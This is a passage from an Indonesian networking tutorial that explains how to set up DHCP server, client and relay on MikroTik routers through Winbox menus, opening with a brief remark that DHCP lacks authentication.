  2. Tidak adanya otorasi ( pembuktian keaslian ). Selama komunikasi antara DHCP sever dan DHCP klien. Sehingga DHCP server tidak mengetahui jika ada DHCP klien yang tidak sah didalam jaringan. Juga DHCP klien tidak mengetahui ada DHCP server yang tidak sah didalam jaringan. Jadi kemungkinan ada komputer DHCP server dan klien palsu ( yang tidak termasuk dalam jaringan yang dibuat ).
Konfigurasi DHCP Server di Mikrotik

  • Login Ke Mikrotik Menggunakan Winbox
  • Klik IP - DHCP Server - DHCP Setup
  • Pilih Interface Yang akan di setting Sebagai Interface DHCP Server
  • Isi DHCP Address
  • Isi Gateway yang akan diberikan Ke DHCP Client
  • Address To Give Out (Rentang IP/Pool)
  • Isi DNS Server yang akan diberikan ke DHCP Client
  • Isi Lease Time (Lamanya IP Dipinjamkan Ke sebuah perangkat)
  • Selesai

Konfigurasi DHCP Client di Mikrotik

Untuk Setting DHCP Client Sebenarnya sangat mudah, Namun kadang administrator jaringan tidak Menggunakan fitur ini dikarenakan Interface yang mengarah ke Internet biasanya Disetting Static. Jadi jikalau anda ingin melakukan konfigurasi Mikrotik sebagai Client maka Hapus dulu Settingan IP Address pada interface yang akan kita Buat sebagi DHCP Client
Contoh saya akan Menggunakan Ether1 yang terhubung ke Modem, dimana Modem Menjalankan fungsi DHCP Server dan Ether1 Mikrotik akan dijadikan DHCP Client
  • Klik IP
  • Klik DHCP Client
  • Klik + (Tambah)
  • Pilih Interface
  • Centang Use Peer DNS
  • Centang Use Peer NTP
  • Centang Add Default Route
  • Klik OK
  • Selesai

Konfigurasi DHCP Relay di Mikrotik

Untuk Mengkonfigurasi Mikrotik sebagai DHCP Relay ada baiknya kita ambil contoh pada Gambar dibawah ini untuk Mempermudah pemahaman
Jika merujuk pada Gambar diatas, Maka yang akan kita settinganya akan seperti ini :
Konfigurasi DHCP Server Pada Mikrotik 1
  • Membuat  2 Buah IP Pool
  • Membuat 2 Buah DHCP Server
  • Membuat Network Untuk Masing-masing DHCP Sever


Oke Konfigurasi di Mikrotik Yang akan menjadi DHCP Server telah Selesai
Sekarang kita akan mengkonfigurasi Mikrotik Ke 2 yang akan di Setting sebagai DHCP Relay
Konfigurasi DHCP Relay Pada Mikrotik 2
  • Klik IP
  • Klik DHCP Relay
  • Klik + (Tambah)
  • Beri nama
  • Pilih interface
  • Isi DHCP Server
  • Isi Local Address
  • Ulangi Sekali Lagi Untuk Interface selanjutnya


SELESAI